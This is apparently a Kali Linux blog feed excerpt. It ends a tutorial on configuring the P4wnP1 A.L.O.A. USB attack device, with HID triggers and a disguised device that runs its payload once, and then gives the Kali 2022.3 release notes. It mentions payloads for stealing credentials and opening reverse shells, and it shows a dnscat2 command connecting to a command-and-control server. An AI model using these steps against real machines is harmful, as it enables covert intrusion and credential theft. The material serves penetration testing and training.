&lt;p>Triggers are very powerful, and the sky is the limit when creating them. To get your feet wet, some trigger actions are:&lt;/p>
&lt;ul>
&lt;li>Service started - &lt;em>Do something when a service has started on the P4wnP1&lt;/em>&lt;/li>
&lt;li>USB gadget connected to host - &lt;em>Do something when the P4wnP1 is connected to a host&lt;/em>&lt;/li>
&lt;li>USB gadget disconnected from host - &lt;em>Do something when the P4wnP1 is disconnected from a host&lt;/em>&lt;/li>
&lt;li>Wi-Fi Access Point is up - &lt;em>Do something when the P4wnP1&amp;rsquo;s access point is up&lt;/em>&lt;/li>
&lt;li>Joined existing Wi-Fi - &lt;em>Do something when the P4wnP1 joins a Wi-Fi network as a client&lt;/em>&lt;/li>
&lt;li>DHCP lease issued - &lt;em>Do something when a DHCP lease is issued to a device connected to the P4wnP1&lt;/em>&lt;/li>
&lt;li>Input on GPIO - &lt;em>Do something based on the Raspberry Pi GPIO pins input&lt;/em>&lt;/li>
&lt;li>SSH user login - &lt;em>Do something when a user logs in to the P4wnP1 via SSH&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>If you want to dig a little deeper &lt;em>(and keep your workflow simpler with meaningful naming values)&lt;/em>, you can use &lt;strong>group channels&lt;/strong>. As the name suggests, you can group actions together. This then allows for easier to read rules, as well as more complex logic. These options are:&lt;/p>
&lt;ul>
&lt;li>A value on a group channel - &lt;em>Do something when a specific value on a group channel matches&lt;/em>&lt;/li>
&lt;li>Multiple values on a group channel - &lt;em>Do something once multiple values on a group channel match&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Example scenario of this could have the end result to &amp;ldquo;run a bash script on the P4wnP1&amp;rdquo;, but the conditions for this to happen is when &amp;ldquo;Wi-Fi Access Point is up&amp;rdquo; as well as &amp;ldquo;USB gadget connected to host&amp;rdquo; are both met. So you create a few triggers:&lt;/p>
&lt;ul>
&lt;li>On &amp;ldquo;Wi-Fi Access Point is up&amp;rdquo; -&amp;gt; send value &amp;ldquo;1&amp;rdquo; to group &amp;ldquo;connected&amp;rdquo;&lt;/li>
&lt;li>On &amp;ldquo;USB gadget connected to host&amp;rdquo; -&amp;gt; send value &amp;ldquo;2&amp;rdquo; to group &amp;ldquo;connected&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;p>We can go even more complex logic with the rules with making the third trigger. We can control the ordering using &amp;ldquo;exact ordered sequence&amp;rdquo;. So does it matter if the device is plugged in before the Wi-Fi access point is up? By using:&lt;/p>
&lt;ul>
&lt;li>&lt;code>type &amp;quot;All (logical AND)&amp;quot;&lt;/code> the &lt;strong>ordering does not matter&lt;/strong> in order to do the action&lt;/li>
&lt;li>&lt;code>exact ordered sequence&lt;/code> the &lt;strong>order matters&lt;/strong> in order to trigger the action&lt;/li>
&lt;/ul>
&lt;p>With what we have in mind, we do not require a certain sequence of events so we use &lt;code>multiple values on group channel&amp;quot;; values (1,2); type &amp;quot;All (logical AND)&amp;quot; -&amp;gt; Start bash script&lt;/code>.&lt;/p>
&lt;p>Something else to keep in mind when coming up with ideas, you can enable &amp;ldquo;one shot&amp;rdquo; mode, which will only trigger once, rather than every time the event happens. Handy if the P4wnP1 is disguised as another device, it can then behave &amp;ldquo;normally&amp;rdquo; after running the payload the first time.&lt;/p>
&lt;h4 id="hidscript">HIDScript&lt;/h4>
&lt;p>Moving on to the HIDScript tab, if you have ever used &lt;a href="https://github.com/hak5/usbrubberducky-payloads">DuckyScript&lt;/a>, HIDscripts are similar, but based upon JavaScript rather than bash.&lt;/p>
&lt;p>&amp;ldquo;HIDScripts&amp;rdquo; run on Raspberry Pi device and they interact with the enumerated &amp;ldquo;fake&amp;rdquo; hardware which is connected externally, however &amp;ldquo;bash scripts&amp;rdquo; run on the Raspberry Pi OS &amp;ldquo;internal&amp;rdquo;.&lt;/p>
&lt;p>To get you started, P4wnP1 pre-populates with a simple HIDScript (called &lt;code>hidtest1.js&lt;/code>) that will launch notepad on a Windows computer, types out a phrase, then moves the mouse, and then repeats it without any delays. More about this can be found in our &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#creating-our-own-trigger">example trigger&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-hidscript.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-hidscript.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>In the &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#other-resources">Other Resources&lt;/a> at the end of this post you can find additional payloads that people have written, if you want, or need, some inspiration, such as:&lt;/p>
&lt;ul>
&lt;li>Extract Chrome and Internet Explorer credentials as well as any stored Wi-Fi networks information, and copy them to the P4wnP1&lt;/li>
&lt;li>Open a webpage&lt;/li>
&lt;li>Run an command as administrator on the target system the P4wnP1 is plugged in to&lt;/li>
&lt;li>Using just PowerShell commands, create a reverse shell with administrator rights&lt;/li>
&lt;/ul>
&lt;p>To help create and debug HIDscripts, you can click the &lt;code>RUN&lt;/code> button at any time to execute, rather than having do the events of a trigger action.&lt;/p>
&lt;h4 id="event-log">Event Log&lt;/h4>
&lt;p>The Event Log tab is where events are logged, if you have set up any triggers to log.&lt;/p>
&lt;p>The Event Log is &lt;em>only&lt;/em> for P4wnP1 A.L.O.A. events, and does not include logs on the system itself.&lt;/p>
&lt;p>This is useful for debugging any payloads and triggers you are writing, tracking process of actions, and retrieving contents of payloads,&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-eventlog.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-eventlog.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h4 id="generic-settings">Generic Settings&lt;/h4>
&lt;p>And finally we have our Generic Settings, where we can do things like use the &lt;strong>Master Template Editor&lt;/strong> to control what the defaults are every time it boots as well as &lt;strong>Reboot&lt;/strong> or &lt;strong>Shutdown&lt;/strong> the P4wnP1 device, and also make a &lt;strong>backup&lt;/strong> or &lt;strong>restore&lt;/strong> the P4wnP1 database (so your settings and hard work is preserved).&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-generic-settings.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-generic-settings.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="creating-our-own-trigger">Creating our own Trigger&lt;/h2>
&lt;p>Now that we have covered using the web interface of the P4wnP1 A.L.O.A., let&amp;rsquo;s put the information we have gained into practice.
As an example, lets set the P4wnP1 up so that when we:&lt;/p>
&lt;p>&lt;strong>Plug the P4wnP1 into a Windows machine&lt;/strong> while &lt;strong>in USB gadget mode&lt;/strong>, &lt;strong>it will run the default &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#hidscript">HIDScript&lt;/a> &lt;code>hidtest1.js&lt;/code>&lt;/strong> to run a command and move the mouse about.&lt;/p>
&lt;p>First, let&amp;rsquo;s go into the web interface and click on trigger actions:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-actions.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-actions.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>Then we will click on &lt;strong>Add One&lt;/strong>, which brings up the following modal window and in order to change any settings, &lt;strong>it has to be enabled&lt;/strong>, so we will quickly do that too:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-enabled.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-enabled.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>In this case, we will choose: &lt;code>USB gadget connected to host&lt;/code>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-usb-gadget-connected-to-host.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-usb-gadget-connected-to-host.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>Now we select the action to take, which is &amp;ldquo;Start a &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#hidscript">HIDScript&lt;/a>&amp;rdquo;:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-action-start-HID.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-action-start-HID.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>Now we choose which &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#hidscript">HIDScript&lt;/a> to load. For this example we will load the default HIDscript that is written, called &lt;code>hidtest1.js&lt;/code>, which will launch notepad, type out &amp;ldquo;Hello from P4wnP1 run&amp;rdquo; and then move the mouse to the right, then left, and then it will do it again, but much faster, to show the speed at which the P4wnP1 can run them.&lt;/p>
&lt;p>&lt;em>Any HIDScripts that you write, or get from the community, will show up in this list once they are added to your P4wnP1. The list below are just the default ones that come with the P4wnP1.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-hid-select-hidtest.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-hid-select-hidtest.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>Lastly, to save our trigger, we click the &lt;code>Update&lt;/code> button:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-hid-update.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/images/p4wnp1-trigger-add-hid-update.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Happy hacking!&lt;/p>
&lt;h2 id="installing-a-package-when-connected-over-ssh">Installing A Package When Connected over SSH&lt;/h2>
&lt;p>When you have Internet access on the P4wnP1, you have the full arsenal of Kali&amp;rsquo;s repositories available to you. So any package you can install in Kali on a Raspberry Pi Zero W will be available for use in bash scripts you may write. You can access those scripts via &lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/#trigger-actions">triggers&lt;/a>.&lt;/p>
&lt;p>However you are connected to P4wnP1, you can SSH in using either the &lt;code>kali&lt;/code> and &lt;code>root&lt;/code> users.
The &lt;a href="https://www.kali.org/docs/introduction/default-credentials/">default credentials&lt;/a> are:&lt;/p>
&lt;ul>
&lt;li>&lt;code>kali&lt;/code> / &lt;code>kali&lt;/code>&lt;/li>
&lt;li>&lt;code>root&lt;/code> / &lt;code>toor&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>We are now going to install the package &lt;a href="https://www.kali.org/tools/dnscat2/">dnscat2-client&lt;/a> on P4wnP1, then connect to a &lt;a href="https://www.kali.org/tools/dnscat2/#dnscat2-server">dnscat2-server&lt;/a> we have already set up somewhere else.&lt;/p>
&lt;p>As a reminder, we always want to run &lt;code>sudo apt update&lt;/code> before installing packages, to ensure we get the latest version:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$ sudo apt update
[...]
kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$
kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$ sudo apt -y install dnscat2-client
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Suggested packages:
dnscat2-server
The following NEW packages will be installed:
dnscat2-client
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
[...]
&lt;/code>&lt;/pre>
&lt;p>Now, we can just simply run the suggested command when setting up &lt;code>dnscat2-server&lt;/code> on our other machine:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali-raspberry-pi-zero-w-p4wnp1-aloa:~$ dnscat --dns server=10.0.13.37,port=53 --secret=5672ddb107fe2f33e490a83e8d1036ca
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 10.0.13.37
** Peer verified with pre-shared secret!
Session established!
&lt;/code>&lt;/pre>
&lt;p>Happy hacking (again)!&lt;/p>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>The &lt;a href="https://p4wnp1.readthedocs.io/">original&lt;/a> author of P4wnP1 A.L.O.A. is &lt;a href="https://twitter.com/mame82">Marcus Mengs aka MaMe82&lt;/a>.&lt;/p>
&lt;p>&lt;a href="https://github.com/rogandawes">Rogan Dawes&lt;/a> took over maintainership when Marcus needed to step away.&lt;/p>
&lt;h2 id="reminder">Reminder&lt;/h2>
&lt;p>We love seeing what the community builds on top of Kali Linux, if you are working on a project let us know!&lt;/p>
&lt;p>You can reach out to us on &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> or on our &lt;a href="https://discord.kali.org/">Discord&lt;/a>.&lt;/p>
&lt;h2 id="other-resources">Other Resources&lt;/h2>
&lt;p>&lt;strong>Project Resources&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/RoganDawes/P4wnP1_aloa">P4wnP1 A.L.O.A. Homepage&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/P4wnP1">P4wnP1 Twitter&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Kali Resources&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w-p4wnp1-aloa/">Kali Linux P4wnP1 A.L.O.A. Documentation&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Community Resources&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://thingiverse.com/thing:2701424">A Case for P4wnP1 with a spot for an OLED screen&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/FuocomanSap/P4wnp1-ALOA-Menu-Reworked">A Menu to use with an OLED screen on the P4wnP1 A.L.O.A&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/beboxos/P4wnP1-ALOA-HID-payloads">Additional Payloads for P4wnP1 A.L.O.A.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://levelup.gitconnected.com/hacking-with-the-raspberry-pi-zero-w-8520a4d72b2e">Hacking with the Raspberry Pi Zero W&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://jamesachambers.com/kali-linux-p4wnp1-aloa-guide-setup-usage-examples">Kali Linux P4wnP1 A.L.O.A. Guide – Setup / Usage / Examples&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/azkrath/p4wnp1-a-l-o-a-an-advanced-hid-attack-device-d906ae5bf48c">P4wnP1 A.L.O.A.— An advanced HID attack device&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://tenaka.net/p4wnp1-hid-attack">Pi Zero as a HID \ USB Device (P4wnP1 A.L.A.O)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://youtube.com/watch?v=s0K-YIL_G5c">Video about using an OLED screen with the P4wnP1 A.L.O.A&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/federicodotta/LetMeHID">Windows HID payload generator&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Kali Linux 2022.3 Release (Discord &amp; Test Lab)</title><link>https://www.kali.org/blog/kali-linux-2022-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2022-3-release/</guid><pubDate>Tue, 09 Aug 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2022-3-release/images/banner-2022.3-release.jpg" type="image/jpg"/><description>&lt;p>In light of &amp;ldquo;Hacker Summer Camp 2022&amp;rdquo; &lt;em>(BlackHat USA, BSides LV, and DEFCON)&lt;/em> occurring right now, we wanted to push out Kali Linux 2022.3 as a nice surprise for everyone to enjoy! With the publishing of this blog post, we have the download links ready for immediate &lt;a href="https://www.kali.org/get-kali/">access&lt;/a>, or you can &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update any existing installation&lt;/a>.&lt;/p>
&lt;p>The highlights for Kali&amp;rsquo;s 2022.3&amp;rsquo;s release:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#kali-is-on-discord">Discord Server&lt;/a>&lt;/strong> - Kali&amp;rsquo;s new community real-time chat option has launched!&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#test-lab-environment">Test Lab Environment&lt;/a>&lt;/strong> - Quickly create a test bed to learn, practice, and benchmark tools and compare their results&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#kali-tools-documentation">Opening Kali-Tools Repo&lt;/a>&lt;/strong> - We have opened up the Kali tools repository &amp;amp; are accepting your submissions!&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#help-wanted">Help Wanted&lt;/a>&lt;/strong> - We are looking for a Go developer to help us on an open-source project&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#kali-nethunter-updates">Kali NetHunter Updates&lt;/a>&lt;/strong> - New releases in our NetHunter store&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#kali-for-virtual-machines">Virtual Machines Updates&lt;/a>&lt;/strong> - New VirtualBox image format, weekly images, and build-scripts to build your own&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/#new-tools-in-kali">New Tools In Kali&lt;/a>&lt;/strong> - Would not be a release without some new tools!&lt;/li>
&lt;/ul>
&lt;p>&lt;em>For more details, see the &lt;a href="https://bugs.kali.org/changelog_page.php">bug tracker changelog&lt;/a>.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="kali-is-on-discord">Kali is on Discord&lt;/h2>
&lt;p>We have started up a new discord server, &lt;strong>&lt;a href="https://discord.kali.org/">Kali Linux &amp;amp; Friends&lt;/a>&lt;/strong>. This is our new place for the Kali community to get together and chat in real-time all about Kali Linux (as well as other &lt;a href="https://www.offsec.com/community-projects/">community projects&lt;/a> that OffSec has to offer).&lt;/p>
&lt;p>This is a community server, all with common interests. We do not have the goal to get as many users as possible, instead, we are growing a place for each other to help one another. We are &lt;strong>focusing on quality not quantity&lt;/strong>.
Please bear in mind, if you are looking for help, first search for your problem, ask questions, then wait for the community support from your peers. Remember no one is under obligation to help you, and you are more likely to get assistance if you are polite and show you have put some effort into solving your own issue.&lt;/p>
&lt;p>Speaking of &amp;ldquo;real-time chatting&amp;rdquo;, we are going to be &lt;strong>starting a new tradition&lt;/strong>. We will be doing an hour long session &lt;strong>after every Kali release&lt;/strong> where various Kali developers will come and voice chat on Discord, answer questions about Kali and its direction, take your input, and so on. &lt;em>We will be sure to add details about this in every blog post release going forwards.&lt;/em>&lt;/p>
&lt;p>The first one is on &lt;strong>Tuesday, 16th August 2022 16:00 -&amp;gt; 17:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>Feel free to be a fly on the wall, come by to say a hello, or ask questions! This is a great opportunity to ask questions, provide your input on what can help improve Kali, or get involved and contribute!&lt;/p>
&lt;p>&lt;em>Please note, we will not be recording these sessions. These are live sessions only.&lt;/em>&lt;/p>
&lt;hr>
&lt;p>&lt;strong>Why Discord?&lt;/strong> In short, people are already there. It&amp;rsquo;s a common and popular platform that has become very popular over the years. People have already gone through the process of signing up and becoming familiar with the UI. For those who are not, you can register and within minutes be chatting. It&amp;rsquo;s simple and straight forward to get going.&lt;/p>
&lt;p>Real-time chat can be seen like a social network, as it&amp;rsquo;s only as good as the people who are on it.&lt;/p>
&lt;p>&lt;strong>Why not use Matrix?&lt;/strong> In short, same reasons as above, the user-base. Going into a bit more depth, the entry barrier is higher. It&amp;rsquo;s a bit more complex to get setup and it&amp;rsquo;s not as user-friendly.&lt;/p>
&lt;p>Matrix is great (and various team members do use it daily)! &lt;a href="https://www.kali.org/docs/policy/kali-linux-open-source-policy/">Kali being open-source&lt;/a>, using open-source solutions to match does make sense.
But we are not trying to be a trend setter - we are going with the crowd. We believe the key to a successful community is the community itself. We are not wanting to reinvent the wheel, we are not wanting people to sign up once again to another service, using another chat application, another thing that&amp;rsquo;s giving you notifications. If people are already there, we are going with them.&lt;/p>
&lt;p>Lastly, we do not want to be focusing on running and maintaining infrastructure of a self-hosted solution for a real-time chat, as that takes us away from developing an OS with everything that goes with it.&lt;/p>
&lt;p>&lt;strong>What happened to IRC?&lt;/strong> In short, it&amp;rsquo;s still there. We are still using it from a Kali development perspective. The network may have changed (from Freenode to Libera Chat), but &lt;a href="https://www.kali.org/docs/community/kali-linux-irc-channel/">we still do use Internet Relay Chat&lt;/a>.&lt;/p>
&lt;p>Back in the heyday of Freenode, it was the place to be. &amp;ldquo;Everyone&amp;rdquo; was on it. It did slowly start to lose some users, before the crash in 2021. Libera Chat stepped it, and did recover some of the broken pieces but various homes moved on to other networks or even protocols.&lt;/p>
&lt;p>The IRC channels are public, so anyone can join in on the development side of things. However the Kali community focus will be on Discord.&lt;/p>
&lt;h2 id="test-lab-environment">Test Lab Environment&lt;/h2>
&lt;blockquote>
&lt;p>&amp;ldquo;A craftsman is only as good as their tools.&amp;rdquo;&lt;/p>
&lt;/blockquote>
&lt;p>This is true, even outside of Information Security field, &lt;strong>you need to &lt;em>understand&lt;/em> your tools&lt;/strong> to master your craft.
You can read their code to understand how they work (or a very detailed REAME at times), help screens and their manuals (if they have one) will give you a starting point on how to use them. But where do you use them especially when they are security tools? What output should the tool give? What is a successful run? How long does the tool take? What is its baseline? How can I get experience with it? All valid questions which need answers.&lt;/p>
&lt;p>To try and achieve these answers, most seasoned professionals will practice first &lt;em>(hopefully in a known, controlled environment!)&lt;/em>. This is where a &amp;ldquo;Test Bed/Laboratory&amp;rdquo; comes into play. Theory is different to practical &lt;em>(You may remember this the first time you were tasked of something new to accomplish)&lt;/em>. You can take the static theory-based output from help screens, READMEs, and manual pages and hands-on enter the data into programs and monitor the dynamic output and practical response. Its one thing to read something, its another to do it. The result often gives people a deeper understanding.&lt;/p>
&lt;p>Practice makes &lt;del>perfect&lt;/del> permanent. So practice, practice, practice!
Inquisitive minds can then start to experiment with new configurations, options, commands and flags. Then start to chain items together, or compare similar and alternative solutions, then compare the results, to become more educated and build up a benchmark of knowledge. This grows experience.&lt;/p>
&lt;p>We are trying to make it a bit easier to build up your test lab. So we have packaged up:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/dvwa/">DVWA&lt;/a> - Damn Vulnerable Web Application&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/juice-shop/">Juice Shop&lt;/a> - OWASP Juice Shop&lt;/li>
&lt;/ul>
&lt;p>All you have to do is &lt;code>apt install &amp;lt;package&amp;gt;&lt;/code>, else you can use the &lt;code>kali-linux-labs&lt;/code> &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackage&lt;/a> to get them all!
&lt;em>This list will be growing in the upcoming Kali releases!&lt;/em>&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
At times, you may be running codes that are designed to be vulnerable. Please take the necessary steps to secure your environment.
&lt;/p>
&lt;/div>
&lt;p>&lt;em>Practice tools, sharpen skills, and benchmark alternatives&lt;/em>&lt;/p>
&lt;hr>
&lt;p>If you put all your trust into something without understanding it, there could be complications&amp;hellip;&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-3-release/images/tape_messure.jpg' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-3-release/images/tape_messure.jpg" alt="" />
&lt;/a>
&lt;/p>
&lt;em>Credit: unknown!&lt;/em>&lt;/p>
&lt;h2 id="kali-for-virtual-machines">Kali for Virtual Machines&lt;/h2>
&lt;p>We have already provided Kali Linux images for &lt;a href="https://www.kali.org/docs/virtualization/install-vmware-guest-vm/">VMware&lt;/a> and &lt;a href="https://www.kali.org/docs/virtualization/install-virtualbox-guest-vm/">VirtualBox&lt;/a> since the &lt;a href="https://www.kali.org/releases/">start&lt;/a>. For this release, there&amp;rsquo;s been a few changes worth noting.&lt;/p>
&lt;p>&lt;strong>We now distribute the VirtualBox image as a VDI disk and a &lt;code>.vbox&lt;/code> metadata file&lt;/strong>, or to say it short: the native format for VirtualBox images. It should be a bit faster to download, as those images have a better compression ratio compared to the OVA images that we used to provide. It should also be a bit more straightforward to use it, you just need to unpack the image in your VirtualBox folder and run it. In case you need help, refer to our documentation: &lt;a href="https://www.kali.org/docs/virtualization/import-premade-virtualbox/">Import Pre-Made Kali VirtualBox VM&lt;/a>.&lt;/p>
&lt;p>Additionally, we just started to provide &lt;a href="https://www.kali.org/get-kali/#kali-virtual-machines">weekly builds of our VM images&lt;/a>. These images are built from the &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">kali-rolling branch&lt;/a>, meaning that they have the most up-to-date packages, but on the other hand they don&amp;rsquo;t receive as much testing as our quarterly releases.&lt;/p>
&lt;p>Last but not least, the scripts that we use to build those images are now available &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vm">on GitLab&lt;/a>. If you need to build custom Kali VM images, this is the place to go!&lt;/p>
&lt;h2 id="help-wanted">Help Wanted&lt;/h2>
&lt;p>Do you know &lt;strong>Go&lt;/strong>? The Kali team is looking for some help! &lt;em>Bonus points if you know &lt;strong>Redis&lt;/strong> as well!&lt;/em>&lt;/p>
&lt;p>This work would be going into an already existing Open-Source project, &lt;a href="https://github.com/etix/mirrorbits">MirrorBits&lt;/a>. We have a few desirable features we would love to be added into it.&lt;/p>
&lt;p>Interested? Let&amp;rsquo;s talk. Please get in touch by emailing &lt;code>icanhelp at kali dot org&lt;/code>, or &lt;a href="https://twitter.com/kalilinux">tweeting at us directly&lt;/a>. If you have any previous work to showcase, even better.&lt;/p>
&lt;p>Why are you guys not doing it? Our development team has a maxed out roadmap and we don&amp;rsquo;t want to be waiting until items are closed out before this goes into production.&lt;/p>
&lt;h2 id="other-kali-updates">Other Kali updates&lt;/h2>
&lt;ul>
&lt;li>For people who use Xrdp (like &lt;a href="https://www.kali.org/docs/wsl/win-kex/">Win-KeX&lt;/a>), there is a new look to the login&lt;/li>
&lt;li>We have fixed up some confusion between fuse and fuse3&lt;/li>
&lt;li>We did some maintenance to our network repository, and shrank &lt;code>/kali&lt;/code> from 1.7Tb to 520Gb!&lt;/li>
&lt;/ul>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/defectdojo/">DefectDojo&lt;/a> - Open-source application vulnerability correlation and security orchestration tool&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/shellfire/">shellfire&lt;/a> - Exploiting LFI/RFI and command injection vulnerabilities&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sprayingtoolkit/">SprayingToolkit&lt;/a> - Password spraying attacks against Lync/S4B, OWA and O365&lt;/li>
&lt;/ul>
&lt;p>&lt;em>There have been numerous packages updates as well.&lt;/em>&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>Full Android 12 support is getting closer to being a reality with 6 new kernels in our &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts">NetHunter repository&lt;/a> and updates to the &lt;a href="https://store.nethunter.com/en/packages/com.offsec.nethunter/">NetHunter app&lt;/a>. It is still not for the fainthearted as a little tinkering is required to install all the components individually but we&amp;rsquo;re getting closer to releasing the first OnePlus image soon.&lt;/p>
&lt;p>For the meantime, we have updated the apps in our &lt;a href="https://store.nethunter.com/">NetHunter Store&lt;/a> to the latest releases, including:&lt;/p>
&lt;ul>
&lt;li>aRDP, aSPICE, bVNC, Opaque = v5.1.0&lt;/li>
&lt;li>Connectbot = 1.9.8-oss&lt;/li>
&lt;li>Intercepter-NG = 2.8&lt;/li>
&lt;li>OONI Probe = 3.7.0&lt;/li>
&lt;li>OpenVPN = 0.7.38&lt;/li>
&lt;li>Orbot = 16.4.1-RC-2-tor.0.4.4.6&lt;/li>
&lt;li>SnoopSnitch = 2.0.12-nbc&lt;/li>
&lt;li>Termux = 118&lt;/li>
